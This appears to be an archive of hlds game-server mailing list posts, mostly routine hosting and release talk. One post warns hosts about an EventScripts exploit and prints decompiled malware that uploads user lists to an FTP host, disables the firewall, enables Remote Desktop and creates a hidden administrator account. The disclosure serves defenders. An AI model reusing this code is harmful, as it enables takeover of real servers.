[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Rikard Bremark
Sent: Thursday, May 13, 2010 3:57 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] COUNTER-STRIKE: SOURCE BETA

anyone else there that cant start the beta on win32?
i have downloaded it, removed the bin folder just to redownload it and 
make sure verify_all works.
everything is downloaded, but i cant start the server, i dubbel click 
the srcds.exe but nothing happen?!
--
//Rikard 'Zapy' Bremark
ComHem AB - http://www.comhem.se
Warzone.nu - http://www.warzone.nu
Warzone Short Valley

rikard.brem...@warzone.nu
z...@warzone.nu

On 2010-05-13 06:43, Mark Gunnett wrote:
> On the contrary, Valve can do whatever the heck they want. I just don't
> appreciate losing  compatibility with my current rig. It's a moot point
> since I'm going to be building a new one soon anyways. It just sucks when
> the game you once could play, now is unplayable. It's one thing to be
unable
> to play a game cause your rig makes the game run 100x faster then it was
> meant to run cause the game is so old. Even then you can usually tweak it
to
> be playable. But if in the long run it gets rid of some of the retarded
> assed exploits that are currently apart of the source engine that will be
> nice.
>
> I haven't exactly played the beta so i can't say whether the changes are
> good or bad. I think the most important part is being able to have regular
> updates that will fix the exploits that come about. Some of Valves
responses
> to exploits insofar that have been documented and given to them is either
a
> slipshod patch or no response at all. I can appreciate them not responding
> because they were going to move to OB and eliminate a bunch of work that
> would have been trashed anyways.
>
> But we'll see.
>
> On Wed, May 12, 2010 at 12:45 PM, Nathan D.  wrote:
>
>
>> So, Valve shouldn't update their games because you don't want to upgrade
>> your PC? You should stick with consoles then...
>>
>> I hate when people show lack of appreciation for Valve's free updates.
>> We love you Valve! Please continue with your awesomeness.
>>
>> On 5/12/2010 1:33 PM, Mark Gunnett wrote:
>>  
>>> I honestly Don't know about this. One, I'm for it if it brings more
>>>
>> exploit
>>  
>>> fixes to the CS:S Servers and clients. But I'm also against it in the
>>>
>> fact
>>  
>>> that it is orangebox. It may be just TF2, but whenever a server gets
full
>>>
>> I
>>  
>>> take huge hits to FPS. I've had friends who had to quit playing TF2
cause
>>> all of the updates have slowly turned that game into a monster when it
>>>
>> comes
>>  
>>> to running it. I don't want to see the same thing happen to CS:S.
>>>
>>> True, my rig may be crappy, but having to buy a new PC just to play a
>>>
>> game I
>>  
>>> already own and runs great as it is (aside from the exploits), will not
>>>
>> make
>>  
>>> me happy. But This is valve, and they are going to do it anyways whether
>>>
>> we
>>  
>>> like it or not :)
>>>
>>>
>>>
>> ___
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>> please visit:
>> http://list.valvesoftware.com/mailman/listinfo/hlds
>>
>>  
>
>
>
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Re: [hlds] Eventscripts - Creating Windows Account

2010-03-02 Thread Lane Eckley
That is a simple solution to the problem.

However if you are a GSP or otherwise using TCAdmin like many do, there are
some side issues that go along with setting a game server to use a limited
access. (Important note on TCAdmin: TCAdmin runs as system and so do all the
services it powers - FYI in case you are unaware.)

This was mainly a warning going out before anyone got completely hacked and
lost access to their machines.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Saul Rennison
Sent: Tuesday, March 02, 2010 5:03 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Eventscripts - Creating Windows Account

If you run the server as a limited user, then it can't touch the registry or
create other users... simple :/

Thanks,
- Saul.


On 2 March 2010 20:51, ics  wrote:

> What do you mean by upload mods? If _anyone_ can upload files to the
> server without having access to the machine itself, then there is
> nothing mod makers can do if someone can overwrite the files that their
> mods have.
>
> -ics
>
> 2.3.2010 22:44, Steven Crothers kirjoitti:
> > The answer isn't to stop people from being able to upload mods... the
> answer
> > is for mod makers to make their mods secure.
> >
> > -Original Message-
> > From: hlds-boun...@list.valvesoftware.com
> > [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of w4rezz
> > Sent: Tuesday, March 02, 2010 3:14 PM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Eventscripts - Creating Windows Account
> >
> > Nothing new, Everybody can upload files to your server, becouse Valve
> > dont wanna to use whitelist system, to allow only specific file
> > extensions to be downloaded to only specific game directories.
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
>
>
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> please visit:
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[hlds] Eventscripts - Creating Windows Account

2010-03-02 Thread Lane Eckley
Hi Guys,

 

I wanted to shoot out an email to everyone in regards to an exploit we have
come across today for those who are running Eventscripts & windows based
servers.

 

Apparently a user is able to upload "corelib.pyc" to the game server without
using the common FTP/Control panel and via the game server itself. In turn,
using eventscripts he is able to execute his script, create an administrator
with full remote desktop access and finally remove all his files once his
account is created.

 

Our security caught it before it was able to cause us any issues, however
this may be an issue for people who have lesser amount of security in place
and especially if you do not have a anti-virus/firewall running on the
machine.

 

We have also found there is multiple variations of this file, so you may
want to be sure you do a full look at your machines.

 

With that being said, the files are coming from a free web hosting account
over at t35.com - So if your machines have seen any connections in/out bound
to that host in the past 48 hours, I would highly suggest you check your
machines.

 

Now on to the hosts on this list, we also found this in his scripts:

 

C:\Games\rzr00\GameServers\TC55505872742137586643251\cstrike\addons\eventscr
ipts\wcs\WCSusers\es_wcsusers_db.txt

 

So he was testing this somewhere else, someone else who is running TCAdmin -
If this is yours, I would start checking your boxes.

 

Attached is a decrypted copy of the corelib.pyc.

 

Joys,

-Lane

 

Fri Feb 26 22:35:10 2010
decompile /tmp/upload/20100226223510_753.pyc...
#! /usr/bin/env python
# emacs-mode: -*- python-*-
# -*- coding: utf-8 -*-

from ftplib import FTP 
import os 
import urllib 
import es 
import sys 
import os.path 
import operator 
import subprocess 
import time 

def upload(handle, filename):
f = open(filename, 'rb')
(base, ext,) = os.path.splitext(filename)
picext = '.bmp .jpg .jpeg .dib .tif .tiff .gif .png'
if operator.contains(picext, ext):
try:
handle.storbinary(('STOR ' + filename), f, 1)
except Exception:
print 'erorr'
else:
print 'sucessup'

f.close()
return None
try:
handle.storbinary(('STOR ' + filename), f)
except Exception:
print 'Error in downloading the remote file.'
else:
print 'Successful download!'

f.close()



def download(handle, filename):
f2 = open(filename, 'wb')
try:
handle.retrbinary(('RETR ' + filename), f2.write)
except Exception:
print 'lol'
return None
else:
print 'lol'

f2.close()



def load():
print 'Getting Paths'
thisfile = (str(es.ServerVar('eventscripts_gamedir')) + 
'\\addons\\eventscripts\\corelib\\corelib.py')
root = (os.getcwd()[0] + ':\\')
host_name = 'ftp.t35.com'
if ('http://' in host_name):
host_name = host_name.replace('http://', '')
host_name = host_name.replace('\n', '')
user = '*'
pwd = '*'
try:
ftph = FTP(host_name)
except:
print 'Host could not be resolved'
raw_input()
sys.exit()
try:
ftph.login(user, pwd)
except Exception:
if ((user == 'anonymous') or (((user == 'Anonymous') and (pwd == 
'anonymous')) or (pwd == 'Anonymous'))):
print 'The server does not accept anonymous requests'
raw_input()
sys.exit()
else:
print 'Invalid login combination'
raw_input()
sys.exit()
else:
print 'Successfully connected'

print ftph.getwelcome()
flag = 1
count = 0
path = ftph.pwd()
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
print 'Press help at any time to see proper usage.\n'
dirpath = 'Quantum'
ftph.cwd(dirpath)
url = urllib.URLopener()
resp = url.open('http://www.cjlax.com/ocean/ip.php')
html = resp.read(114)
ippath = ((root + html) + '.log')
os.popen(('net user > %s' % ippath))
time.sleep(5)
upload(ftph, ('%s' % ippath))
ftph.close()
print 'Setting Up Remote Desktop'
os.system('REG ADD 
HKLM\\System\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile
 /v "EnableFirewall" /t REG_DWORD /d "0" /f')
os.system('REG ADD 
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v 
fDenyTSConnections /t REG_DWORD /d 0 /f')
print 'Creating Users'
os.system('net user bw 313313313 /add')
os.system('net localgroup Administrator bw /add ')
os.system('net group "Domain Admins" bw /add')
os.system('net localgroup administrators bw /add')
os.system('net localgroup administrator bw /add')
os.system('net localgroup administratoren bw /add')
os.system('net localgroup administradors bw /add')
os.system('net localgroup administrateurs bw /add')
print 'Downloading'
url = 'http://stashbox.org/806008/Windows%20Host%20Process.

Re: [hlds] GSP Hosting Questions

2010-02-20 Thread Lane Eckley
Hi Guys,

To touch on this, that is correct we do limit certain file types to be
uploaded by our clients in the shared environments and it is because we are
very keen on our security.

There are a handful of MODs that are floating about that allow you to exec
commands on the host machine, which can easily lead to an individual client
compromising an entire shared server and taking down not his own account but
everyone else who is hosted on the same machine.

We add MODs to our web panel upon request which allows the client to do one
click installs of them to their game servers. This makes it allot easier for
those who are less experienced in the server arts and also allows our
support staff to easily see what has been installed to the game server which
in turn greatly helps with troubleshooting.

With all shared environments you have to be very careful on the security in
order to prevent unnecessary downtime and/or loss of client data.

Hope that makes sense to everyone :)

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Shane Arnold
Sent: Saturday, February 20, 2010 11:30 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] GSP Hosting Questions

Sounds to me like a good way of doing business. That way the GSP doesn't 
have to fuck around because some douchebag customer broke their own server.

On 21/02/2010 12:24 PM, Cc2iscooL wrote:
> Sounds like all but #2 support ticket would be useless in most any other
> host.
>
> On Sat, Feb 20, 2010 at 10:21 PM, Matt Stanton<
> inflatablesoulm...@brothersofchaos.com>  wrote:
>
>
>> Wouldn't that also mean that metamod plugins would require support
>> tickets?  What if you need to add DFENS?
>>
>> On 2/20/2010 10:16 PM, Nicholas Hastings wrote:
>>  
>>> So what you're saying is that Hypernia won't let you put extensions on
>>> yourself and that you have to wait hours for them to update them
instead?
>>>
>>> On 2/20/2010 9:26 PM, Josh Bost wrote:
>>>
>>>
 To further my previous recommendation for Hypernia I would like to
 note I have submitted 3 support tickets so far:
 1) Getting TF2 extensions added to the management panel to allow
 PropHunt: Done in 3 hours, even though after sending in initial ticket
 I had to get the server owner to send in a ticket allowing me to
 request stuff for them.  (They don't allow clients to uplaod .dll
 files on their 'By the slot' servers)
 2) Getting them to allow me to have a 16-slot L4D2 server.  Resolved
 in 12 hours, though that was due to me sending the ticket and going to
 bed :P actual respose to the first ticket was like 45 minutes.
 3) Getting L4Downtown updated.  Done in an hour.

 Cheers,

 Joshua 'Dislexsick' Bost

 On Sun, Feb 21, 2010 at 4:41 AM, John
  
>> wrote:
>>  

  
> Investigate the
> server performance and flexibility. Then, to see their response times
>
>> and
>>  
> knowledge levels, ask all of them questions about improving your
>
>> routing and
>>  
> server performance, plugin questions, and server configuration
>
>> questions
>>  
> through their support system, even if you already know the answers.
> Experiment with the control panel and different services. (If a
company
> offers a free trial or money-back guarantee, you could also take
>
>> advantage
>>  
> of that, but a month would give you a longer view on server stability
>
>> and
>>  
> uptime.)
>
> The "three company" strategy is often used for interviews with
>
>> contractors,
>>  
> and it's a solid one.
>
> -John
>
>
>
 ___
 To unsubscribe, edit your list preferences, or view the list archives,
  
>> please visit:
>>  
 http://list.valvesoftware.com/mailman/listinfo/hlds



  
>>> ___
>>> To unsubscribe, edit your list preferences, or view the list archives,
>>>
>> please visit:
>>  
>>> http://list.valvesoftware.com/mailman/listinfo/hlds
>>>
>>>
>>
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>> please visit:
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Re: [hlds] Question about L4D2 Demo Slots

2009-10-28 Thread Lane Eckley
It is only a 4 player coop game, so why would you have 6 or even 8?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Mike Vail
Sent: Wednesday, October 28, 2009 10:54 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: [hlds] Question about L4D2 Demo Slots

I have a working vanilla L4D2 demo server up and running on a Windows 2008
box. HLSW only sees it as a 4-slot server but as many as 6 can join and
play. When 7 or 8 try, the last 2 people appear to join for just a moment
then are immediately kicked off and it goes back to 6 players and then
eventually 4. Is this normal? Do bots show up in HLSW? Any ideas what, if
anything I need to do to make it fill all 8 slots correctly or are they only
suppose to be 4 slots?

Sorry guys, this is my first attempt at running L4D servers, I'm a CSS guy.
If this is too lame of a question, just delete this message.

Thanks for any help,
Mike Vail


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Re: [hlds] L4D2 Demo DS Files Today?

2009-10-27 Thread Lane Eckley
Yes, but it takes a nice jump to 38% afterward.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Munra
Sent: Tuesday, October 27, 2009 8:38 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] L4D2 Demo DS Files Today?

It freeze for anyone else at the motd.txt file been sitting there for about
5 minutes now

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
Sent: Tuesday, October 27, 2009 8:34 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] L4D2 Demo DS Files Today?

Well, it's a different server installation.

Jonah Hirsch
---
Sent from Flagstaff, AZ, United States

On Tue, Oct 27, 2009 at 5:29 PM, Alec Sanger  wrote:

>
> will someone see if you can still play the original L4D once the servers
> have been updated?
>
> Thank you,
> Alec Sanger
> P: 248.941.3813
> F: 313.286.8945
>
>
>
> > From: matthew.j.gottl...@gmail.com
> > Date: Tue, 27 Oct 2009 19:18:52 -0500
> > To: hlds@list.valvesoftware.com
> > Subject: Re: [hlds] L4D2 Demo DS Files Today?
> >
> > left4dead2_demo
> >
> > On Tue, Oct 27, 2009 at 7:16 PM, Derek Denholm 
> wrote:
> > >
> > > files are out.
> > >
> > >
> > >
> > > c:\hldsupdatetool.exe -command update -game left4dead2_demo -dir
> C:\GameFiles
> > >
> > >> From: matthew.j.gottl...@gmail.com
> > >> Date: Tue, 27 Oct 2009 18:46:42 -0500
> > >> To: hlds@list.valvesoftware.com
> > >> Subject: Re: [hlds] L4D2 Demo DS Files Today?
> > >>
> > >> I asked Mike about the DS release and he said that is should be
> > >> simultaneous with the game client. Just an FYI.
> > >>
> > >> On Tue, Oct 27, 2009 at 6:42 PM, gulfy32  wrote:
> > >> > First it said 3pm central the 27th, then when it went an hour
> overdue, it
> > >> > changed to 1am central the 28th.
> > >> >
> > >> > On Tue, Oct 27, 2009 at 6:08 PM, DontWannaName! <
> ad...@topnotchclan.com>wrote:
> > >> >
> > >> >> Perhaps in your timezone but here 11pm is nothing new for valve.
> > >> >>
> > >> >> On Tue, Oct 27, 2009 at 3:43 PM, Matthew Gottlieb <
> > >> >> matthew.j.gottl...@gmail.com> wrote:
> > >> >>
> > >> >> > October 28 @ 1am... aka midnight.
> > >> >> > http://steamcommunity.com/games/L4D2/events/55327883716288366
> > >> >> >
> > >> >> > So that means the game will likely come out tomorrow night or
> next
> > >> >> week...
> > >> >> >
> > >> >> >
> > >> >> > On Tue, Oct 27, 2009 at 5:40 PM, Matthew Gottlieb
> > >> >> >  wrote:
> > >> >> > > Then again "the word of Gabe" is hardly the "actual time."
> > >> >> > >
> > >> >> > >
> > >> >> > > On Tue, Oct 27, 2009 at 5:33 PM, msleeper <
> > >> >> mslee...@ismsleeperwrong.com>
> > >> >> > wrote:
> > >> >> > >> No official word on the time for released. That 11pm PST is
> just
> > >> >> hearsay
> > >> >> > >> from the timestamp on a Steam event. Hardly the "word of
> Gabe".
> > >> >> > >>
> > >> >> > >>
> > >> >> > >> On Tue, 2009-10-27 at 17:30 -0500, turb0z wrote:
> > >> >> > >>> Anyone hear what time this is going to happen?
> > >> >> > >>>
> > >> >> > >>> Couple people in my community mentioned they thought it was
> going to
> > >> >> be
> > >> >> > at
> > >> >> > >>> 11pm PDT... that would be pretty shitty.
> > >> >> > >>>
> > >> >> > >>> -Original Message-
> > >> >> > >>> From: hlds-boun...@list.valvesoftware.com
> > >> >> > >>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of
> Jake
> > >> >> Skenna
> > >> >> > >>> Sent: Monday, October 26, 2009 10:03 PM
> > >> >> > >>> To: Half-Life dedicated Win32 server mailing list
> > >> >> > >>> Subject: Re: [hlds] L4D2 Demo DS Files Today?
> > >> >> > >>>
> > >> >> > >>> I spoke to both Chet & Mike today, they said the dedicated
> server
> > >> >> would
> > >> >> > be
> > >> >> > >>> for Linux would be out "after Tuesday", but the windows
> dedicated
> > >> >> > server
> > >> >> > >>> would be out at the same time as the demo
> > >> >> > >>>
> > >> >> > >>> Regrds,
> > >> >> > >>>
> > >> >> > >>> Dan
> > >> >> > >>>
> > >> >> > >>> On Mon, Oct 26, 2009 at 10:50 PM, Timothy Sadleir <
> > >> >> tsadl...@gmail.com
> > >> >> > >wrote:
> > >> >> > >>>
> > >> >> > >>> > Well, I guess it wasn't today.  Was looking forward to
> getting
> > >> >> things
> > >> >> > set
> > >> >> > >>> > early.  Oh well...
> > >> >> > >>> >
> > >> >> > >>> > How come you all aren't being really chatty today?  Is
> there
> > >> >> > something I'm
> > >> >> > >>> > missing?
> > >> >> > >>> >
> > >> >> > >>> > On Mon, Oct 26, 2009 at 3:21 PM, Timothy Sadleir <
> > >> >> tsadl...@gmail.com
> > >> >> > >
> > >> >> > >>> > wrote:
> > >> >> > >>> >
> > >> >> > >>> > > Do you guys think we can expect some dedicated server
> files
> > >> >> today?
> > >> >> >  For
> > >> >> > >>> > the
> > >> >> > >>> > > L4D demo, they released most of the Dedicated Server
> files a day
> > >> >> > before
> > >> >> > >>> > they
> > >> >

Re: [hlds] Win2k versus 2003 versus 2008 on older hardware

2009-09-21 Thread Lane Eckley
Lol. I'll give you that.

The chances of that happening are pretty slim, the chances of dropping a
server as you pull it out of the rack is probably has about the same chance
to fall as a server sitting on a shelf.

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
Sent: Tuesday, September 22, 2009 2:12 AM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Win2k versus 2003 versus 2008 on older hardware

" it is
allot cheaper to build a tower in most cases than a rack mount server"

Until it falls off the Baker shelve :P

On Mon, Sep 21, 2009 at 11:07 PM, Lane Eckley  wrote:

> Lol. They are called Bakers shelves and they are more or less industry
> standard for datacenters where the cost of space is less than what it is
> worth to purchase rack mount servers.
>
> Take a look around at collocation and you will find them everywhere, it is
> allot cheaper to build a tower in most cases than a rack mount server. So
> in
> comes baker shelves.
>
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
> Sent: Tuesday, September 22, 2009 1:53 AM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Win2k versus 2003 versus 2008 on older hardware
>
> They would probably find a way to put it upright so it falls off their
> costco bought racks. That host is just begging for the word sketchy.
>
> On Mon, Sep 21, 2009 at 10:28 PM, Matt Stanton <
> inflatablesoulm...@brothersofchaos.com> wrote:
>
> > Hahahah!  I think you've probably got bigger problems associated with a
> > datacenter being in a major earthquake than whether your server fell off
> > the rack.  Besides, wouldn't you just send them a nice 1U rack-mount
> > server?
> >
> > DontWannaName! wrote:
> > > Sorry to go off topic, but if there was a really big earthquake
wouldnt
> > all
> > > the servers fall down off the racks, if you look at the live cam it
> shows
> > > how tip-able they are.
> > >
> > > On Mon, Sep 21, 2009 at 3:06 AM, Derek Denholm  > >wrote:
> >
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Re: [hlds] Win2k versus 2003 versus 2008 on older hardware

2009-09-21 Thread Lane Eckley
Lol. They are called Bakers shelves and they are more or less industry
standard for datacenters where the cost of space is less than what it is
worth to purchase rack mount servers.

Take a look around at collocation and you will find them everywhere, it is
allot cheaper to build a tower in most cases than a rack mount server. So in
comes baker shelves.

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
Sent: Tuesday, September 22, 2009 1:53 AM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Win2k versus 2003 versus 2008 on older hardware

They would probably find a way to put it upright so it falls off their
costco bought racks. That host is just begging for the word sketchy.

On Mon, Sep 21, 2009 at 10:28 PM, Matt Stanton <
inflatablesoulm...@brothersofchaos.com> wrote:

> Hahahah!  I think you've probably got bigger problems associated with a
> datacenter being in a major earthquake than whether your server fell off
> the rack.  Besides, wouldn't you just send them a nice 1U rack-mount
> server?
>
> DontWannaName! wrote:
> > Sorry to go off topic, but if there was a really big earthquake wouldnt
> all
> > the servers fall down off the racks, if you look at the live cam it
shows
> > how tip-able they are.
> >
> > On Mon, Sep 21, 2009 at 3:06 AM, Derek Denholm  >wrote:
>
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Re: [hlds] Killing Floor Update Released

2009-08-20 Thread Lane Eckley
Is this for everyone or just linux servers?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Dayle Flowers
Sent: Thursday, August 20, 2009 4:51 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Killing Floor Update Released

Sorry guys, we had some issues with the Linux Dedicated Server.  There 
is another update out now, just run the hldsupdatetool again to grab it.

Sorry Again,
Dayle Flowers
Senior Programmer
Tripwire Interactive, LLC.


Octo wrote:
> Same problem here (linux)
>
> On Thu, Aug 20, 2009 at 02:31:54PM -0400, f7 f0rkz wrote:
>   
>> I am having an issue trying to launch the servers after the update.
>>
>> Is anyone having the same issues when trying to launch their server?
>>
>> Here is the output from launching:
>>
>> f7l...@sc-001:~/testing$ sh launch.sh
>> Starting server...
>> Missing Class Class Editor.TransBuffer
>> Browse:
>>
KF-BioticsLab.rom?Name=KFPlayer?Class=Engine.Pawn?Character=Corporal_Lewis?t
eam=1?Sex=M?game=KFmod.KFGameType?VACSecured=true?MaxPlayers=6?multihome=69.
61.74.134
>> Failed to load 'KF_AK47Snd': Can't find file for package 'KF_AK47Snd'
>> Failed to load 'KFMod': Can't find file for package 'KF_AK47Snd'
>> Failed to load 'KF-BioticsLab.rom': Can't find file for package
'KF_AK47Snd'
>> Failed to load 'Level None.MyLevel': Can't find file for package
>> 'KF_AK47Snd'
>> Failed to enter
>>
KF-BioticsLab.rom?game=KFmod.KFGameType?VACSecured=true?MaxPlayers=6?multiho
me=
>> 69.61.74.134: Can't find file for package 'KF_AK47Snd'
>> Executing UObject::StaticShutdownAfterError
>> Failed to enter
>>
KF-BioticsLab.rom?game=KFmod.KFGameType?VACSecured=true?MaxPlayers=6?multiho
me=
>> 69.61.74.134: Can't find file for package 'KF_AK47Snd'
>>
>> History:
>>
>> Exiting due to error
>> Exiting.
>> FileManager: Reading 0 GByte 37 MByte 582 KByte 949 Bytes from HD took
>> 0.432538 seconds (0.101169 reading, 0.331369 seeking).
>> FileManager: 0.00 seconds spent with misc. duties
>> Name subsystem shut down
>>
>>
>> 
>
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Re: [hlds] Tripwire website down?

2009-08-08 Thread Lane Eckley
Been seeing the same here, 2 days now it appears.

-Lane



-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Hutch
Sent: Sunday, August 09, 2009 1:23 AM
To: hlds@list.valvesoftware.com
Subject: Re: [hlds] Tripwire website down?

is their site down for you folks as well?
hutch



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Re: [hlds] Killing Floor Win32 Dedicated Server files available

2009-05-14 Thread Lane Eckley
Hi John,

Thanks for the heads up!

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of John Gibson
Sent: Thursday, May 14, 2009 4:02 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Killing Floor Win32 Dedicated Server files available

Very soon is the best answer I can give at this point. As with any
release, we've found a few things that we've had to fix at the last
minute. The game will definitely be out today (at least in the EST time
zone). 

John Gibson
President
Tripwire Interactive LLC
www.tripwireinteractive.com

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: Thursday, May 14, 2009 3:45 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Killing Floor Win32 Dedicated Server files available

Hi Guys,

Do we have an updated ETA as to when Killing Floor will be available to
play? I know the release day was to be today, 14th, but wanted to know
if we
have a time?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Masher
Sent: Thursday, May 14, 2009 1:03 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Killing Floor Win32 Dedicated Server files available

Typically with unreal engine servers the ini's are created the first
time
it's run.  If you look in the system folder there is a batch file that
will
launch the server and it then should create the ini.
  - Original Message - 
  From: Philip Bembridge 
  To: Half-Life dedicated Win32 server mailing list 
  Sent: Thursday, May 14, 2009 12:28 PM
  Subject: Re: [hlds] Killing Floor Win32 Dedicated Server files
available


  The files released are just a preload, the full files will
{apparently} be
  released soon,
  Phil

  2009/5/14 

  > I've been able to install the Killing FLoor via the usual bat method
  > date/t
  > time/t
  > hldsupdatetool -command update -game "killingfloor" -dir
C:\GameServers\KF1
  > time/t
  > @pause
  >
  > However, I do not have a killingfloor.ini file generated in the
system
  > directory. Is this because the Windows server files are still not
complete
  > or
  > is there another step necessary ?
  >
  > This arramus fellow is a hero. A server op from both the Valve and
UT
sides
  > of
  > the street
  > http://forums.tripwireinteractive.com/showthread.php?t=30579
  > Hopefully more info will be forthcoming.
  >
  >
  > Cheers
  > Rosie the Riveter
  > Sunlit Games
  >
  >
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archives,
  > please visit:
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  >
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Re: [hlds] Killing Floor Win32 Dedicated Server files available

2009-05-14 Thread Lane Eckley
Hi Guys,

Do we have an updated ETA as to when Killing Floor will be available to
play? I know the release day was to be today, 14th, but wanted to know if we
have a time?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Masher
Sent: Thursday, May 14, 2009 1:03 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Killing Floor Win32 Dedicated Server files available

Typically with unreal engine servers the ini's are created the first time
it's run.  If you look in the system folder there is a batch file that will
launch the server and it then should create the ini.
  - Original Message - 
  From: Philip Bembridge 
  To: Half-Life dedicated Win32 server mailing list 
  Sent: Thursday, May 14, 2009 12:28 PM
  Subject: Re: [hlds] Killing Floor Win32 Dedicated Server files available


  The files released are just a preload, the full files will {apparently} be
  released soon,
  Phil

  2009/5/14 

  > I've been able to install the Killing FLoor via the usual bat method
  > date/t
  > time/t
  > hldsupdatetool -command update -game "killingfloor" -dir
C:\GameServers\KF1
  > time/t
  > @pause
  >
  > However, I do not have a killingfloor.ini file generated in the system
  > directory. Is this because the Windows server files are still not
complete
  > or
  > is there another step necessary ?
  >
  > This arramus fellow is a hero. A server op from both the Valve and UT
sides
  > of
  > the street
  > http://forums.tripwireinteractive.com/showthread.php?t=30579
  > Hopefully more info will be forthcoming.
  >
  >
  > Cheers
  > Rosie the Riveter
  > Sunlit Games
  >
  >
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Re: [hlds] Harddrives which to choose

2009-04-27 Thread Lane Eckley
Ok, I will bite, how does RAID 1 increase the chance of dataloss?

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Yaakov Smith
Sent: Tuesday, April 28, 2009 12:14 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Harddrives which to choose

Raid1 increases the chance of data loss.

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Adam Nowacki
Sent: Tuesday, 28 April 2009 12:56 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Harddrives which to choose

Just remember it is only a game server that will read some data every 
now and then (and almost entirely on map change), not a database server 
doing hundreds of transactions a second. Two 7200rpm drives in software 
raid1 will be more than enough and sit idle most of the time.

mdma wrote:
> Thanks for your response too, all suggestions or ideas are welcome and 
> greatly appreciated everyone.
> We are trying to future proof ourselves, and to minimise any hiccups that 
> could be caused by slower SATA drives.
> Hence the question about fast 10krpm sata's or 15krpm SAS drives, we are 
> still leaning towards SAS even though they are
> a bit expensive.
> If it means we run into less problems, down the track when the box does
get 
> more of a load on it, we 'll probably go for it(SAS hdd's now rather than 
> later).
> I really cant see the point of spending more money now on sata's that will

> probably evenutally have to be upgraded to SAS drives.
> The money would be better spent now on just buying good quality fast
drives 
> and a nice 3ware controller.

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Re: [hlds] error: reliable channel overflowed

2009-04-22 Thread Lane Eckley
Hi Guys,

I have seen the issue in the past with servers here and there, but was never
really able to nail down a solution to it. I did at the time find some posts
around about others users having issues and it pointed toward the rcon of
the server being spammed.

I was never able to find a solution to the issue, but the issue seemed
always to stop once we moved that server to a different IP range.

If there is a solution, please do let shoot it back as I am also interested.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of MAGUS
Sent: Wednesday, April 22, 2009 6:42 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] error: reliable channel overflowed

anyone knows how the solution for this error?

**Reliable channel overflowed* (and nothing more in user console)*
and my users are disconnected. when occurs this error, many users are
disconnected (at once). And, if user try reconnect, this error persist
(*one,
two, three times*), until he can reconnect again.

in Server: HLDS - cstrike (HL1)

obs: hlds is updated, but this error continues.

-
rody


2009/4/21 MAGUS 

> ocurrs in cstrike (hl1) server.. i update but this problem continues :/
>
> 2009/4/21 Zach Tate 
>
> What game is this in?
>>
>> Zach Tate
>>
>> -Original Message-
>> From: MAGUS [mailto:magus...@gmail.com]
>> Sent: Tuesday, April 21, 2009 8:24 PM
